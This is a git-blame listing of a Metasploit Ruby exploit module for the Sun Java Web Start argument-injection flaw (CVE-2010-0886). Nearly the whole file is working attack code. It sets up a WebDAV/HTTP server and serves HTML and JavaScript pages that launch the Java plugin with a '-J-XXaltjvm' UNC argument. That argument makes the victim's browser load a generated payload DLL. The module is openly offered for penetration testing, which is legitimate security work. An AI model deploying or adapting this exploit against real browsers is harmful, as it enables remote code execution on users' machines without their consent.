Files
metasploit-gs/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

375 lines
11 KiB
Ruby
Raw Normal View History

2010-04-16 08:08:40 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2010-04-16 08:08:40 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2010-04-16 08:08:40 +00:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
2010-09-21 00:13:30 +00:00
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection',
'Description' => %q{
2010-04-16 08:08:40 +00:00
This module exploits a flaw in the Web Start plugin component of Sun Java
2025-06-20 13:20:44 +01:00
Web Start. The arguments passed to Java Web Start are not properly validated.
By passing the lesser known -J option, an attacker can pass arbitrary options
directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
by Ruben Santamarta, an attacker can execute arbitrary code in the context of
an unsuspecting browser user.
This vulnerability was originally discovered independently by both Ruben
Santamarta and Tavis Ormandy. Tavis reported that all versions since version
6 Update 10 "are believed to be affected by this vulnerability."
In order for this module to work, it must be ran as root on a server that
does not serve SMB. Additionally, the target host must have the WebClient
service (WebDAV Mini-Redirector) enabled.
},
'License' => MSF_LICENSE,
'Author' => 'jduck',
'References' => [
2010-04-16 08:08:40 +00:00
[ 'CVE', '2010-0886' ],
[ 'CVE', '2010-1423' ],
[ 'OSVDB', '63648' ],
2010-04-16 08:08:40 +00:00
[ 'BID', '39346' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
],
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Payload' => {
'Space' => 1024,
2010-04-16 08:08:40 +00:00
'BadChars' => '',
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[ 'Automatic', {} ],
[
'Java Runtime on Windows x86',
2010-04-16 08:08:40 +00:00
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2010-04-09',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
2025-06-20 13:20:44 +01:00
]
)
2010-04-16 08:08:40 +00:00
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
def auto_target(cli, request)
agent = request.headers['User-Agent']
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
ret = nil
2025-06-20 13:20:44 +01:00
# print_status("Agent: #{agent}")
2010-04-16 08:08:40 +00:00
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
else
2012-04-20 13:31:42 -06:00
print_status("Unknown User-Agent #{agent}")
2010-04-16 08:08:40 +00:00
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
ret
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
def on_request_uri(cli, request)
# For this exploit, this does little besides ensures the user agent is a recognized one..
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
# Special case to process OPTIONS for /
if (request.method == 'OPTIONS' and request.uri == '/')
process_options(cli, request, mytarget)
return
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
# Discard requests for ico files
if (request.uri =~ /\.ico$/i)
send_not_found(cli)
return
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/')
2025-06-20 13:20:44 +01:00
subdir = '/' + rand_text_alphanumeric(8 + rand(8)) + '/'
2010-04-16 08:08:40 +00:00
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
else
share_name = $1
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
when 'PROPFIND'
process_propfind(cli, request, mytarget)
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
when 'GET'
process_get(cli, request, mytarget, share_name)
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
else
print_error("Unexpected request method encountered: #{request.method}")
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
end
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
#
# GET requests
#
def process_get(cli, request, target, share_name)
2012-04-20 13:31:42 -06:00
print_status("Responding to \"GET #{request.uri}\" request")
2010-04-16 08:08:40 +00:00
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
#
# DLL requests sent by IE and the WebDav Mini-Redirector
#
2012-04-20 13:31:42 -06:00
print_status("Sending DLL")
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
# Generate a DLL based on the payload
2010-09-21 00:13:30 +00:00
dll_data = generate_payload_dll({ :code => p.encoded })
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
else
#
# HTML requests sent by IE and Firefox
#
2012-04-20 13:31:42 -06:00
# This could probably use the Host header from the request
2010-04-16 08:08:40 +00:00
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
2013-08-30 16:28:54 -05:00
2010-04-27 17:45:35 +00:00
# Always prepare the UNC path, even if we dont use it for this request...
2010-04-16 08:08:40 +00:00
if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup
else
unc = "\\\\" + my_host + "\\" + share_name
end
2025-06-20 13:20:44 +01:00
jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8 + rand(8)) + ".jnlp"
docbase = rand_text_alphanumeric(8 + rand(8))
2013-08-30 16:28:54 -05:00
2010-04-27 17:45:35 +00:00
# Provide the corresponding HTML page...
if (request.uri =~ /\.shtml/i)
2012-04-20 13:31:42 -06:00
print_status("Sending JS version HTML")
2010-04-27 17:45:35 +00:00
# Javascript version...
2025-06-20 13:20:44 +01:00
var_str = rand_text_alpha(8 + rand(8))
var_obj = rand_text_alpha(8 + rand(8))
var_obj2 = rand_text_alpha(8 + rand(8))
var_obj3 = rand_text_alpha(8 + rand(8))
2010-04-27 17:45:35 +00:00
js_jnlp = "http: "
js_jnlp << jnlp.dup.gsub("\\", "\\\\\\\\") # jeez
2013-08-30 16:28:54 -05:00
2010-04-27 17:45:35 +00:00
# The 8ad.. CLSID doesn't support the launch method ...
2025-06-20 13:20:44 +01:00
# clsid = '8AD9C840-044E-11D1-B3E9-00805F499D93'
2010-04-27 17:45:35 +00:00
clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
html = %Q|<html>
<body>Please wait...
<script language="javascript">
var #{var_str} = "#{js_jnlp}";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var #{var_obj} = document.createElement("OBJECT");
#{var_obj}.classid = "clsid:#{clsid}";
#{var_obj}.launch(#{var_str});
} else {
try {
var #{var_obj2} = document.createElement("OBJECT");
#{var_obj2}.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
document.body.appendChild(#{var_obj2});
#{var_obj2}.launch(#{var_str});
} catch (e) {
var #{var_obj3} = document.createElement("OBJECT");
#{var_obj3}.type = "application/java-deployment-toolkit";
document.body.appendChild(#{var_obj3});
#{var_obj3}.launch(#{var_str});
}
}
</script>
</body>
2010-04-16 08:08:40 +00:00
</html>
|
2010-04-27 17:45:35 +00:00
elsif (request.uri =~ /\.htm/i)
2012-04-20 13:31:42 -06:00
print_status("Sending non-JS version HTML")
2010-04-27 17:45:35 +00:00
clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]
clsid = clsids[rand(clsids.length)]
html = %Q|<html>
<body>Please wait...
<object id="#{var_obj}" classid="clsid:#{clsid}"
width="0" height="0">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
</body>
2010-04-27 17:45:35 +00:00
</html>
|
else
2012-04-20 13:31:42 -06:00
print_status("Sending js detection HTML")
2010-04-27 17:45:35 +00:00
# NOTE: The JS version is preferred to the HTML version since it works on more JRE versions
2025-06-20 13:20:44 +01:00
js_uri = rand_text_alphanumeric(8 + rand(8)) + ".shtml"
no_js_uri = rand_text_alphanumeric(8 + rand(8)) + ".htm"
2010-04-27 17:45:35 +00:00
html = %Q|<html>
<head>
<meta http-equiv="refresh" content="2;#{no_js_uri}" />
</head>
<body>
Please wait...
<script language="javascript">
document.location = "#{js_uri}";
</script>
</body>
2010-04-27 17:45:35 +00:00
</html>
|
# end of detection html
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
send_response_html(cli, html,
2025-06-20 13:20:44 +01:00
{
'Content-Type' => 'text/html',
'Pragma' => 'no-cache'
})
2010-04-16 08:08:40 +00:00
end
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
2012-04-20 13:31:42 -06:00
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request")
2010-04-16 08:08:40 +00:00
headers = {
2025-06-20 13:20:44 +01:00
# 'DASL' => '<DAV:sql>',
# 'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
2010-04-16 08:08:40 +00:00
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
2012-04-20 13:31:42 -06:00
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request")
2010-04-16 08:08:40 +00:00
body = ''
2013-08-30 16:28:54 -05:00
2010-04-16 08:08:40 +00:00
if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
2025-06-20 13:20:44 +01:00
# <lp1:getcontentlength>45056</lp1:getcontentlength>
2010-04-16 08:08:40 +00:00
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
2010-04-16 08:08:40 +00:00
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# Make sure we're on the right port/path to support WebDAV
#
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
2010-04-16 08:08:40 +00:00
end
super
end
end